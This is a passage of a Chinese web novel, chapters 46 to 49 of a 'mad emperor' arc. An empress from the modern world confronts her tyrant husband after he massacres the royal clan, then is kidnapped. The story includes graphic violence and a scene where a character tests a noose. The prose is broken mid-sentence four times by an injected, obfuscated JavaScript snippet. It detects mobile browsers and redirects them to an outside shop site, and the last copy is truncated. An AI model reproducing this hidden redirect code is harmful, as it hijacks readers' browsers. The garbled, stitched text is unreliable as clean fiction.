没人能拦住她。普通的宫女太监苦劝,她怎么可能听。 带刀侍卫把刀架到礼诗涵脖颈上,想要吓唬一下,礼诗涵面不改色地往前走。 侍卫哪敢行刺皇后?那不是倒反天罡? 众人只能悻悻地跟在她身后:“娘娘!陛下说您不能进去,别逼我们要跪下来求您,娘娘!” 王宇航正和上官丞相在议事。瞧见是礼诗涵回来,二人面上都狠狠扭曲了一下。 “陛下。”礼诗涵把上官丞相拨开,道,“你得给我个交代!你怎么可以下令杀了那么多忠心耿耿的臣子?我一路回来,百姓们都不种田了。人都被你弄去哪了?” “你这不忠不孝的女儿,真要气煞我也!”上官丞相气急,道,“你还不快快退下,这是你一个女子能随便闯入的地方吗?” “皇后如何不能?”王宇航的视线牢牢锁在礼诗涵身上,再也容不下别的东西,认真道,“皇后可谓是朕的半身。朕有的一切,都应该和皇后分享。丞相,先请回吧,莫忘了我所说之事。” “???”上官丞相被推走,错愕道,“陛下也别忘了只有我才能帮你!” 闲杂人等清场,终于只剩下这对青梅竹马。礼诗涵抓住王宇航的双臂,道:“宇航,究竟是怎么回事?” 王宇航微微笑了,道:“诗涵,你不明白。他们不听皇帝的话,当然就只能杀掉了。你从历史课本上学过的,每个朝代都要流血,这是必须存在的阵痛。” “怎么每个人都说我不明白。”礼诗涵不满,道,“就算一个人犯了罪,也要交由法律来审判。宇航,你难不成还真的想做这种封建皇帝?” “.......”王宇航柔声道,“诗涵,我们能回家吗?” “那,”礼诗涵的声音底气不足,道,“暂时不能。” “诗涵,那你懂怎么治理国家吗?”王宇航又问。 “我当然不懂。”礼诗涵道,“我不是为此而生的。” “你这具身体的父亲虽然品行低劣,但还是很有办法的。”王宇航缓缓道,“你只听闻民间传闻,说我滥杀无辜。但其实我杀的人每个人都不清白,他们的罪名条条款款都列在上面,你可以自去翻看。” “而真正有才能的人埋没在民间岂不是太可惜了吗?我便颁布条令,让他们有官做,就算是没有才能的人,也能投身在更好的地方。比在乡野里耕田好多了吧?” 似乎也是有道理。礼诗涵半信半疑,问:“那墨太史的罪名是什么?” “他造谣诽谤,以至于把人逼死。”王宇航面色不改。 “啊?”礼诗涵不相信,道,“他是这种人吗?” 不是也得是,当他公开反对新皇帝的时候,他的死期就已经定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810666|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 了。王宇航叹道:“知人知面不知心啊。” “不说这些不开心的事了。今晚我为你办了一场接风的宴会,你不是最喜欢热闹吗?只要这次宴席能成功,哪怕之后你想要天天都大摆宴席,我也能为你做到。” . 泽海宫。 礼诗涵平躺在光洁的地板上,焦躁不安地嘀咕道:“有的时候我真希望现实也像游戏一样。有个人能来告诉我哪个是正确的选项。” 容华提着她的腋下,把人拖起来,道:“娘娘,宴席就要开始了,快起来,您价值千金的衣服要压皱了。” “我不敢动。”礼诗涵承认道,“我觉得我走一步它的价值就少几两银子。” 王宇航送来的衣裙华丽又庄重,衬得她如同刚开放的花蕾。但她自从得知了其中要花费多少时间银钱,就一直是这个状态。 “我总觉得我的竹马不一样了。”礼诗涵抬头看容华,道,“你知道吗?我真正所在的世界,有个很廉价的购物方式。就算是公主的裙子,也可以十分便宜。自然不如我现在身上的衣服精致而美丽,但我只要那些就够了。” “容华,如果你突然成了皇帝,你会做什么?”礼诗涵问道。 “大概是把我仇人的祖坟刨了?”容华想了想,道,“我一直想刨,但是如果干了就会被抓起来处死的。” “你呢?”礼诗涵转头问容轻。 “我大概会先起兵攻大秉,大阜大秉打完必然两败俱伤奄奄一息,然后我会命令所有人自刎归天。”容轻咯咯笑道,“全都给我死!” 礼诗涵和容华互相抱在一起,悻悻道:“你好极端。” “对啦。”容轻道,“所以我不是皇帝,也不能当皇帝呀。” . 礼诗涵在殿中主位上坐下,面前摆放的水果还带着清澈的水珠,容华容轻两个侍女低眉垂首站在她身后。 臣子们分坐大殿两侧,成千上百盏烛火摇曳,殿外灯笼万千,把殿中映得仿佛白昼。 乐师素手拨弄琴弦,丝竹声轻柔悦耳。身着华丽衣裙的舞姬随着节拍转着圈。 王宇航在身侧轻轻地抓住她的手,他同样气度非凡,金线绣出的龙纹无比逼真,仿佛下一秒就要长啸一声冲天而飞。 十九皇子生得一副温柔好相貌,深情款款地注视着她,礼诗涵却无端感到一丝不安。 “弘亲王献礼。”太监的声音带着颤抖。 谁是弘亲王啊?礼诗涵很快就没时间思考这种无关紧要的问题,下人跪在地上,高高举起手中物体,那东西死死地吸引了她的视线。 红布盖着球状的东西,有什么液体正缓缓地润湿布料。 那形状怎么看怎么不妙。 令君如杯中酒液震荡,臣子们扼腕叹息,部分人掩面不敢再看,而更大部分的臣子们脸上的笑容越来越大。 “陛下。”礼诗涵音量提高了些,她在紧张,道,“那是什么!” “弘亲王献上......献上一家人头七个。” 红绸滑落,礼诗涵失声尖叫起来。 弘亲王,十九皇子的二哥的脑袋和她打了个正正照面,肥胖而苍老的面容上还有着残存的不甘。 五月二十,在以上官丞相为首的士族的支持下,新皇帝血洗了朝堂,自以为建立了说一不二的班底。 庆功宴上,他整了一个惊天的狠活。 ——他屠了自己的八辈祖宗! 47. 第47章 疯皇帝(三) 丝竹声未乱,乐师面上十分麻木,但似乎音色中添了一丝忧愁。 群臣佁然不动,年轻的皇后拍案起身,碗碟碎了一地,她一把扯住皇帝的领子,失声道:“陛下!你干了什么?!” 最小的孩子只有三个月,小小的人头放在很大的木案上,显得有些可笑。 谁能笑得出来? “陛下!”,“陛下!”,“皇后娘娘,不可啊!” 有受苦的人,自然就有着受益的人。因王宇航受益的臣子们立刻想要起身阻拦皇后娘娘的疯狂举动,王宇航用眼神制止了他们。 保持着这个被礼诗涵钳制的姿势,王宇航的瞳孔中倒映出礼诗涵失控愤怒的面容,原来你也会有这样的表情? 你也会觉得事情不在你的掌握之中吗?你也会被我惊讶吗? 他笑着道:“继续呈上来啊。” “这是给朕的皇后的礼物。” “礼物?”礼诗涵不可置信道,“你还知道你在说什么吗?!” 王宇航的语气是出乎意料的平静:“皇家的血脉,除了我之外已经戮尽了。” “再也没有人会威胁我们了,皇后!” “你难道不高兴吗?你将来生下来的孩子将会是唯一继承大统的人!我们二人的名字将在这个世界永远地传承下去!” 左右对视一眼,面露不忍,仍然不得不继续: “贺亲王献上全家性命共二十人,已点清,收入库中.......” “詹亲王献上.....共三十人,已点清......” 以祝贺之名将人请入宫中,再加以杀害。死掉的人实在太多了。 为了让礼诗涵亲眼瞧见,案上的人头像餐厅的盘子,没处放了只好层层堆叠在一起。 有的被下人失手打翻,咕噜咕噜躺在地上,下人惊慌失措连声对着脑袋行礼道歉。 殿中的脑袋多得仿佛水汆丸子,现在大殿中可以出一道题叫头人同笼,殿中的脚和头数量一样多。 如果礼诗涵同样是个没有良心的人,她应该在此时大笑。因为有些人面目可憎,又死得有点久了,样子有点坏了,实在可笑。 但礼诗涵不是,所以她面对这种流水席一样的场面只能表现得很无助,像个疯子。 礼诗涵发现自己不认得自己的竹马了,这个在她手下低低冷笑的男人,跟黏她身后喊公主大人的小男孩已经是完全不一样的两个人。 她猛得推开王宇航,把高高在上的皇帝甩在地上,手臂划出了一道长长的口子。 她道:“滥杀无辜,我看你是疯了!不管你流着怎样的血,做得如此残暴之事,就算你是皇帝也会被人推翻的!” 王宇航笑道:“啊,朕会吗?” 公卿大臣们有的冷眼喝酒,有的以袖掩面,但竟无一人敢发声。 “你们也都疯了不成?”礼诗涵从座位上起身,摇晃着离她最近的大臣,道,“你们熟读圣人书文,理应比我更明白吧?你们不应该劝谏吗?不应该反对吗?如果没有人的支持,皇帝也是做不下去的!” “皇后娘娘。”这文臣瞧着她,面露叹息,道,“天子有命,不得不从啊。这大阜天下皆属于帝王家。” 怂包!礼诗涵放弃他,一把夺过另外一边将领的酒杯,道:“面对如此场面,你却只想着喝酒?” 那是也是上官家之人,身居高位,按辈分来说上官梨还得叫他一声叔父。他也不恼,笑道:“陛下大义灭亲,死掉的都是自己的亲朋,与我们何干呢?” “女子见识短浅,少见多怪!” “没办法,皇后娘娘不要看我,我没办法.......” 金碧辉煌的宫殿之中,众人皆是正襟危坐,殿中回荡着的只有低低的乐声,和礼诗涵愈发崩溃的声音。 礼诗涵不明白他们为何不反抗,和他们看礼诗涵为何表现得如此激烈的困惑是相同的。 雷霆雨露,皆是君恩啊。 鲜艳的红裙停在他面前,令君如抬眼,瞧见一双含着泪的眼睛。 要怎么和她解释呢?这般暴行必然会惹人争议,一时的忍耐是为了更平稳的未来。 “不用你们。”礼诗涵什么也没说。 唰! 她猛得抽出了太尉腰间长剑! 寒光闪烁,众人见之变色。 令君如啪地抓住礼诗涵手腕,语速急促:“娘娘,你不能杀他!” 天下必乱啊! “你要杀我吗?”新皇帝起身相迎,微笑着看着她,眼中光芒愈盛。 “无论是哪个国家的法度。”礼诗涵甩开令君如,一步步走近他,铁器寒芒凛凛,道,“你都应该判死刑了!” 上官丞相眼神微动,原本准备起身制止疯魔皇后的几人重新低下头去。 而新皇帝着了魔一样看着她,除了礼诗涵,他眼中再也看不得任何别的东西。 礼诗涵眼圈发红,死死地咬着牙关,手中却不像是粗粝的剑柄,而是小男孩柔软的手腕,小女孩拉着他跑过大街小巷,爬过成千上万条阶梯,从来没有回头看。 不知道小男孩什么时候已经长得这么高,也不知道什么时候两人交握的手上尽是淋漓的鲜血。 人类的历史是流血的历史,婴儿从母亲的子宫中浴血娩出,母亲的血流给婴儿,婴儿长成少女,少女的血又为亲子而流。青年人射出箭矢,血在箭轨的尽头迸溅,谁的血留存于世谁才是最终赢家。 天才如你,能有夺人性命的觉悟吗? 乒! 啪! 皇后把剑狠狠丢在地上,扬手扇了新皇帝一个响亮的耳光!把疯魔的皇帝打得脸颊偏到一旁! 真正被打的是本应威严不可冒犯的皇帝,而跪坐在地痛哭的却是年轻气盛的皇后。 我不敢杀人。 我害怕。 我生下来是为了改变世界。 是为了让世界变得更好。 不是为了让人流血。 礼诗涵跪坐在地,眼泪从眼眶中满溢出来。她很少哭泣。 孩童哭得多,是因为他们无能为力。 这是她人生中第一件做不到的事情。 皇帝轻轻地碰了一下礼诗涵打过的地方,那块皮肤迅速肿胀刺痛,他眼中却升起了喜悦的情绪。 他狂喜地拥住礼诗涵,脸颊蹭在女子柔软的鬓发上。 疯皇帝的声音仿佛在蜜糖中浸了一通,他道:“打我吧。如果这能让你感到一丝开心,请继续打我吧。暴力是失权的证明,我希望你一直这么对我。” 才能让我有一丝掌控住你的错觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815941|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>. 宴席以礼诗涵的提前离席为结尾。最重要的人先离开了,剩下的人自然也就散场了。 “皇后,你没必要在这一颗树上吊死。”泽海宫中,容华苦苦相劝,仰头道,“皇后娘娘!别人造的孽不是您犯的错,求求您再好好想想吧!” “这世上的男人多的是。”容轻见礼诗涵不为所动,转而出起了馊主意,柔声细语道,“以皇后娘娘的相貌,想找什么样的没有?我这就给您点些男人来,您好歹尝一尝别的菜再下决定好吗?” “我意已决。”大哭过后,礼诗涵的状态好了很多。 泽海宫中有颗巨大的桂花树,据说已经在这里扎根了上百年。 礼诗涵正站在树顶上,手里拿着一条麻绳,正在把麻绳往树枝上栓。 她道:“实践出真知。上吊之人在几秒内被救下来的话是不会死的。你们不用劝了,我今天就要吊在这里试试!” 从穿越来到现在,因为礼诗涵本人的天资而被掩盖的东西终于浮出水面。 谁给了她皇后有权力的错觉? 礼诗涵其实无人可信,手下没有军队,没有士兵,只有两个侍女。 礼诗涵哭了一场。但是哭是没用的。 她的整个人生和竹马完全重叠。 他做下这等累累血债,用命偿都是轻的。而疯皇帝之所以能成为皇帝,礼诗涵难辞其咎。 “我如果能下手杀我自己。”礼诗涵越想越有道理,道,“知道死是什么样子,我不就能下手阻止陛下了吗?” 她也不是真的想死,于是叮嘱:“把我救下来的时候一定要快,窒息会损害我的大脑。” 麻绳的这一头和另一头的景色也没什么不同。 礼诗涵坐在树杈上研究半晌,决定还是套在脖子上试一下,她这种科研人员就是比较严谨。 容华气喘吁吁地爬上树干,她年轻的时候也是一把好手,但十几年如一日的死板生活,爬树就变成了一件难事。 她死死抱住礼诗涵的腰,道:“皇后娘娘,你要是实在想试的话就一刀攮死皇帝嘛!” “我下不去手啊。”礼诗涵脖子上套着麻绳,嘟囔道。 容轻瞧着她的神情,突然道:“容华,你可以放开皇后娘娘了。” “啊?”容华累得半死,道,“皇后娘娘这种傻子万一真把自己作死了怎么办?” 礼诗涵已经把麻绳摘下来了,她捏着那个重如千钧的圆圈,神情低落,道:“你已经告诉你了,我下不去手。” “只有死到临头才知道.......我不想死。” 礼诗涵人生中从未有过如此的迷茫,她问两个侍女:“我太怕死了,该怎么办啊?” . 疯皇帝心情很好。 皇后在哭泣时也不过像个寻常女子,雪白的颈子低垂,眼泪大颗大颗地往下掉,像只被水淹没的无助的鸟儿。 这样就好。 圣架再次来到泽海宫。疯皇帝还没自得多久,就瞧见桂花树上的麻绳圈儿,心脏先停跳了几分。 “诗涵?!” 他冲进宫中,大脑几乎一片空白。 令他感到无比庆幸,又让他感到无比烦躁的是,只有两个侍女在。 礼诗涵不见踪影,谁也不知道她又去哪了! 48. 第48章 疯皇帝(四) 皇帝在三月内拉起的一支崭新的流氓军队正在城内招摇过市,利阳现在乱成一团。 城中的氛围变得很可怕,一旦一个人连自己的祖宗十八代都没了,那他做事的下限立刻就变得无限宽广。 令府,令家族人分成两拨,互相争吵不休。 一派认为令家和上官家素有姻亲,本就被绑死在一条船上,自可以坐收渔翁之利,而另一派觉得这无论如何都太过了。 但疯皇帝真他妈狠,现在两拨人不管愿意还是不愿意拥护他也得拥护,因为就剩他一个人了。 令君如面沉如水,只勒令府上至少紧闭大门,不准参与利阳发生的任何事情。 礼诗涵是在这个时候出现的。 她坐在墙上,他家墙不高,她爬上来不需要费多少力气,除了令君如外谁也没发现她。 月光映出她的眉眼,这跳脱任性的皇后此刻竟显露出一种摄人心魄的沉静。 令君如赶快让家中人全散了,生怕让人瞧见皇后又擅自离宫,又是一场轩然大波。 院中只剩下他们两个人。令君如心中如一团乱麻,泛着丝丝缕缕的疼。不论如何考量,事实就是在皇后哭泣的时候臣子并不能为她排解分忧,那就是身为臣子的不对。 他叹道:“皇后娘娘是来怪我的吗?” “不。”礼诗涵跳下墙,道,“我是来求你教我的。” “教什么?” “杀人。” “........” “有个更加轻松的办法。”令君如转身道,“皇后娘娘请随我来。” “什么?”礼诗涵跟随着他,随手关上了雕花木门。 “变坏。”这是让令君如十分苦恼的事情,他道,“让您伤心的所有事情,请不要听,也不要看,也不要管,万事不挂心。娘娘,你要记住,如此才是活下去的关键。” 礼诗涵抱臂瞧着他,长眉微挑,一副你在说什么鬼话的模样。 “哈哈。”令君如无奈地笑了下,道,“其实想要杀掉一个人,很简单。” 他将礼诗涵拉到床侧坐下,说了声失礼后抓起礼诗涵的双手,放在自己的脖颈上。 “掐吧。”令君如笑道,“只要试一次就行了。” 他的眉眼深邃,这样近的距离,他能数清礼诗涵的睫毛,礼诗涵能触碰到手下血管有力跳动的幅度和微凉的体温。 礼诗涵反而感到了一丝毛骨悚然。她不确定道:“我力气很大的,如果用力会掐断你的喉管。” 令君如垂眼,道:“那真是我的荣幸。” 杀掉一个人究竟是什么感觉? 就像锻造刀具时需要握紧锤子。 摇晃试管时需要捏紧杯壁。 驾驶摩托时需要攥紧车把。 有当万人之勇的将领因缺氧而面色发紫,毫无反抗地在女子的一双纤细手指下发出濒死的喘息。 礼诗涵一直不敢,是因为身为人这一社会动物的本能一直在朝她预警。如果她明白了这件事,就再也回不去了! 因为杀这件事实在是太简单了! 不需要过人的才智,也不需要经年累月的努力。只需要一双手或是一柄刀,无论是本来多美好的人都会再也不存在。 礼诗涵指头痉挛,像是触电一般松开双手,令君如猛地咳嗽起来,脖颈印上了深深的瘀紫。礼诗涵应该向他道歉,或者替他顺顺背,请来大夫,应该有很多能做的事。 但是她动不了了。 指尖轻微颤动,礼诗涵瘫坐在床榻上,鼻尖是轻柔的冷香,就算她差点杀了一个人这世界也并不为之所动。 “.....咳!”令君如一时说不出话来。 他轻轻覆上颤动不已的皇后的手指,礼诗涵瑟缩了一下,第一次感觉到别人皮肤的温度是如此让人难以忍受。 礼诗涵扑进他怀中,肩膀微微耸动,无声地痛哭起来。 令君如的声带终于恢复了一些,温香软玉在怀,他十分嘶哑地开玩笑道:“虽九死其犹未悔。” “皇后娘娘。我愿发誓此生所做一切皆是为了黎民百姓。你可否答应我,无论接下来发生什么事,以保全自身为重?” “嗯。”礼诗涵闷闷道,“我答应你。” . 两个时辰后。 礼诗涵提着剑踹开疯皇帝寝宫大门。 收你来了! “皇后娘娘,求您不要这样。”侍卫太监跟在她身后苦劝无果。 礼诗涵里里外外转了一圈,没瞧见人,忍着怒意道:“陛下人呢?” “陛下出宫巡查去了,一切事务皆交由上官丞相代行。” “巡查?”礼诗涵指着将明未明的天色,道,“现在?他去哪了?” “这......陛下踪迹,岂是我等可以揣度的?或许您可以去问上官丞相。” 一个时辰后。 礼诗涵提着剑踹开上官府大门。 “你这个不忠不孝的女儿!”上官丞相抱着小妾气得哆嗦,只穿着寝衣跳脚,道,“这是什么样子?你要造反不成?” “说!”礼诗涵不想和他废话,把剑戳在他脖子上,道,“你们到底在做什么?!” “你想知道吗?”提到正事,上官丞相面上反而变得毫无惧色。 剑身雪亮的光芒映出他脸上的算计,上官丞相道:“这是大计。你一个鲁莽女子,如何能得知呢?” 剑芒逼近了,上官丞相不怒反笑道:“你自然也可以学你那个倒霉丈夫,如此荒唐行事。但你恐怕不像他那样愚蠢,女儿。你知道我们死了,大阜会乱成什么样吗?” “不过是死了两个坏人。”礼诗涵硬下心肠。 “女儿,你总是把事情想得太简单。”上官丞相轻蔑道,“如果你杀了皇帝,你就是谋逆。毕竟天下的黎民百姓都相信,流着和这疯子皇帝一样的血的人带来了太平日子。而流着和你一样的血的人已经忠心耿耿地维持这太平日子三百年。” “到那时,无论你再有善名也没有用。讨伐你的反而是无数的正义之师。你能忍受天下人的指责吗?” 上官丞相用两根指头推开礼诗涵的剑刃,道:“皇后娘娘累了,还不快送皇后娘娘回去休息?” . 好复杂。 礼诗涵平躺在泽海宫的地板上,双眼漫无目的地欣赏华丽的藻井,如墨般的长发平铺在光洁冰凉的地板上。 如果不用考虑这些事就好了。 容华和容轻已经习惯了,两人站在礼诗涵身侧仰望她刚组装的巨大模型。那是一只钢铁鸟儿,礼诗涵说这叫飞机。 展翅一飞,可跃千里。 她们从没见过,但很发愁该怎么收起来,泽海宫已经塞不下了。 礼诗涵被上官丞相软禁在泽海宫已经又三个月了。 此人翻墙战绩可查,而且动手能力极强。因此泽海宫外三步一人,并配备有十人整日巡查,连一只蚂蚁都难以爬得出去。 礼诗涵确实没办法做任何事,不知道做什么事才对,出去也没有什么意义。 上官丞相当然迫不及待想让礼诗涵生下皇子。但疯皇帝发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819997|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 现礼诗涵又不在泽海宫,大受刺激,别说皇宫了,一次都没回过利阳。 容华端着一盘月饼过来,笑道:“我觉得这样就很好嘛。他死在外面才好,不管他了。娘娘,今天八月十五,记得吃一块月饼。” 离家已经整整九个月。 “爸爸妈妈干爸干妈怎么还没来接我呢?”礼诗涵从地板上爬起来,闷闷不乐道,“今天可是我的生辰呢。” “好了娘娘,不要撒娇了。”容轻端着一盘蛋糕从她另一边路过,礼诗涵在十五日前就已经嘀嘀咕咕今天是她的生辰,为了打发鸡蛋特地手搓了一套打蛋器。 容轻现在胳膊无比酸痛,提不起水盆,于是指挥高贵的皇后娘娘道:“去打点水把手洗了。香皂放在水盆旁边。水记得也倒了。” 井水沁凉,理亏的皇后娘娘自己动手。直到手中传来熟悉的触感,她忽然意识到一件事。 “香皂?” “我刚穿来的时候这个世界有香皂吗?” 水盆翻倒声响,两个侍女应声从房中探出头。 作为学术无敌的代价,皇后娘娘某些方面挺灾难的。 有过在木桶中洗澡却不小心把自己卡在里面差点淹死、信誓旦旦地做出高压锅结果爆炸了锅盖打穿房顶、试着自己梳发髻结果头发打了死结不得不剪掉的无数黑历史。 这次和以往不同。礼诗涵面色难看地抓那块香皂,问她们道:“这是陛下做的么?” 容华道:“根据我在宫中的经验,这只是在市集上采买的吧,挺好用的。” “我得想办法再出宫一趟。”礼诗涵突然道,大步向泽海宫外迈去,“我得见宇航!” 她自然被侍卫们拦住了,怒道:“本宫有重要事宜!你现在、立刻、马上就去告知陛下,让他来见我!” 侍卫们对视一眼,道:“陛下现在不在宫中,娘娘请别为难我们。” “娘娘?!”容华扶住她,容轻推着她往宫中走,小声道,“怎么了?” “有其他人也穿来了这里。”礼诗涵瞳孔震动,道,“我的爸爸妈妈干爸干妈怎么会放下我呢?他们一定会拼命寻找我。但是那个通道可能是随机出现的!” “那.......如果实验进行了九个月,有多少人被送来了?” . “穿越?” 上官丞相笑眯眯的,坐在高高的梨花木椅子上,袍角没有沾上一点血迹。墙上刑具寒光凛凛,这是一间刑房。 一本被撕烂的书正被摔在一个被揍得鼻青脸肿的人面前。 “对对对,我是穿越来的。”那个人被揍得已经看不出原来的模样了,问什么答什么,道,“这书是我抄来的别人的书。绝对没有影射什么的意思,因为这是发生在另一个世界的事!求求您放过我吧!” “胡言乱语,再给我打!” “我说的都是真的!”在求生欲面前,人什么都做得出来。 他只是想活下来。他已经死过一遭,好不容易穿越到异世界,事业刚有点气色,怎么可以就这么死掉呢? 鼻青脸肿的青年道:“绝无半分虚言!对了,我还认识几个人,同样也是穿越来的。我们一起结成了一个互助会。您.....您可以去问问他们。” 上官丞相朝着手下耳语几句,手下听令而去。 “如果你交代一件事,我就放你走。” “什么?您请说,您请说!” “我怀疑我的女儿也是你们这样的人。”上官丞相抬眼,笑容愈发变大,道,“你能想想办法帮我指出来吗?” 49. 第49章 疯皇帝(五) “容轻,我们这样装疯卖傻真的有用吗?”礼诗涵躺在被子里,头上顶着一块毛巾,脸上泛着不自然的红。 那是容华妙手化出来的。 “我已经十年没发过烧了。”礼诗涵道,“我不太记得那种滋味,演得不像。而且太医一查不就知道我没病了么?” 容轻柔柔地笑了下,道:“皇后娘娘,我笑您不懂男人。他们需要的只是女人的示弱——等下太医来,您就把他轰出去了事,最好挤出几滴眼泪。” 礼诗涵乖乖照做。 她本来打算学习前辈挖地道逃跑,被容轻否了,十分有意见,现在在心里嘀嘀咕咕。 这种装病的法子太牵强了,谁都知道皇后身体素质好得能驯服烈马,哪个傻瓜会相信啊? 礼诗涵坐立不安了三日,突然传来消息,疯皇帝回宫了。 差点就下地挥舞铲子的礼诗涵:??? 她用崇拜的眼神看向容轻。 三个月过去,疯皇帝的样子看起来比之前还要糟糕。王宇航待人彬彬有礼,有种温润公子的气质。而现在却是满面阴云,几乎绷不住那张温柔和亲的面皮。 疯皇帝连说话都是阴阳怪气的,他一回来就赶往泽海宫,院中的桂花树的香气沁人心脾。 他笑道:“皇后,这是你住的宫殿,但我还是第一次在这里见到你。你是想我了吗?” “我不想。”礼诗涵困惑道,“你不记得你曾做过的事吗?我当然一点儿也不想你啦。我叫你来,是有更重要的事情。” 容轻啪地双手捂脸。容华仰面看天,小声道:“你应该写稿让皇后娘娘背。” “比我还重要?” “比我们两个都更重要。”礼诗涵根本没心思儿女情长,只自顾自认真道,“我认为还有其他人在不断穿越过来。有些人习惯了现代生活,在这里如果开局一个碗,该怎么生存?我记得你说过,干爸干妈他们还在继续实验?” “诗涵,你只想着你自己的事情。”疯皇帝的神情越发神经质,道,“你心中有我吗?” 礼诗涵背后,容轻几乎能听到男人手指捏紧的咯咯响声,她绝望地小声对容华道:“你能连我的耳朵也捂上吗?” “曾经有吧。”礼诗涵认真道,“我一直想和你结婚,因为你是最好的结婚对象。但是我不能接受将来的另一半是个残暴的人。因此我决定要和你和离! “就算休妻也行,对我来说无所谓。” 礼诗涵想得很缜密,她道:“如果这事真是因我而起,我就必须为别人的穿越负起责任来。我太软弱,做不了皇后,让别人来做吧。我生来是为了更加重要的事情。” 疯皇帝终于被气笑了。 他冷冷道:“你想也别想!你这辈子只能和我在一起,永永远远地和我死死绑在一起!在你想通之前,你就在这里反省吧!” 疯皇帝袖手而去,泽海宫的大门砰一声关上,能听得到外面落锁的声音。 礼诗涵也很生气,转头对两个侍女道:“他究竟有没有在听人说话?” “皇后娘娘乖啊。”容轻慈爱地说,“去玩您的铲子去吧,啊。您在没有天资的地方真是一眼就看得到头啊!” . 大约生日当天许的愿望就是强力,当晚礼诗涵就如愿以偿出了宫。 虽然根本不是她自愿的,但也算阴差阳错完成了她的愿望。 容华、容轻就睡在外间,容华一向醒得早,这天却莫名奇妙醒来就是日上三竿。 她心中咯噔一下,拉开床帘,雕花木床上只剩下礼诗涵的一缕发,和一封带血的恐吓信。 她打开一看,顿时魂飞魄散: “皇后已落于我手。 如想换回皇后,就废除新田法!” 落款是一只活灵活现的燕子。 一百个侍卫把小小的泽海宫围得密不透风,礼诗涵屡屡逃窜都被抓回。 这能叫人闯进来,悄无声息地劫走皇后?! 真是青天白日见了鬼了! . 礼诗涵还以为自己又穿越了。 她好好地在自己床上睡着,只觉得这一觉睡得很沉。醒来的时候眼睛被蒙住,嘴巴被堵住,被五花大绑在一张椅子上。 这是怎么做到的? “自此我欠你们的人情已经还清了。”她听得一个低沉的青年声音道。 礼诗涵仰了仰头,听到了一阵低低的哭声,又听得青年的声音夹杂了几丝无奈: “唉,燕某一路所见,皆是痛心不已,若算在平日里不能不管。奈何家中出事,父母危在旦夕,不能久留,不得不立刻启程回大秉。各位珍重!” 声线正气凛然,听起来给人的感觉倒不坏。如果他能绑的是王宇航,而不是礼诗涵,礼诗涵对他的评价会再高上许多。 青年大步迈出门,礼诗涵听得吱呀一声木门响动。抽泣声又低低地响起了一阵,然后爆发出一阵激烈的争吵声,用的是某种方言,礼诗涵听不懂一个字。 最后争吵声停了,脚步声响起,缓慢而拖沓,像是拖着一条腿在走路。 老年人? “皇后娘娘。” 却是个成熟的女子声音,听起来约莫三四十岁,声音已经变得十分嘶哑:“我们实在、实在没有别的办法了。” 她抽出礼诗涵口中布巾,以一种决绝的语气道:“无论什么样的错事都不得不做。请您原谅。” 这人听起来已到穷途末路,这种人是最不好惹的。 礼诗涵谨慎道:“你们是什么人,找我要做什么事?如果不是过分的要求,我都可以帮你。” 女人拄着拐杖,披头散发,一只手拿着把生锈的菜刀,凝视着面前的少女。 她形容憔悴,仅仅是露出来的皮肤上就缠着许多绷带,隐隐沁出鲜血,一条腿可怕地肿胀着,像只要衰败的鲜花。 而礼诗涵气色红润,尚且年少,一看就是被人细心呵护着的。 女人着迷一样轻轻碰了碰礼诗涵的脸颊,道:“皇后娘娘,您长得真漂亮。” “?”礼诗涵愈发紧张起来,种种可怕的结局让她感到战栗,她道,“谢谢夸奖,妈妈生的——如果你看不惯,我可以从此之后再也不露出真容。” “呵。”女人自嘲般地笑了一声,自顾自磨起刀来。 礼诗涵心中尖叫,实在委屈道:“我还没拿到诺贝尔奖呢,如果我这样的天才现在死掉也太早了一点吧?” “如果我的女儿能长到像您一样的年纪,会和您一样漂亮。” 女人神经质般地喃喃,高高举起手中发亮的刀刃,一刀砍下—— 礼诗涵身上的绳索应声而断,她急忙摘下眼罩,眼睛未习惯明亮的光线产生了些许眩晕,只听得女人解释道: “大侠不知怜香惜玉,打的死结。早试过了,谁也解不开。吓到娘娘,还请原谅。” 映入眼帘的是个十分破旧的木屋,空气中弥漫着腐烂的血味,光从木板的缝隙中透进来,洒出点点碎金。 女子虽披头散发,身上伤势极为可怖,但柳眉杏眼,相貌极佳,有书卷气。 她把菜刀丢到一旁,扑通跪下道:“求娘娘救命!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 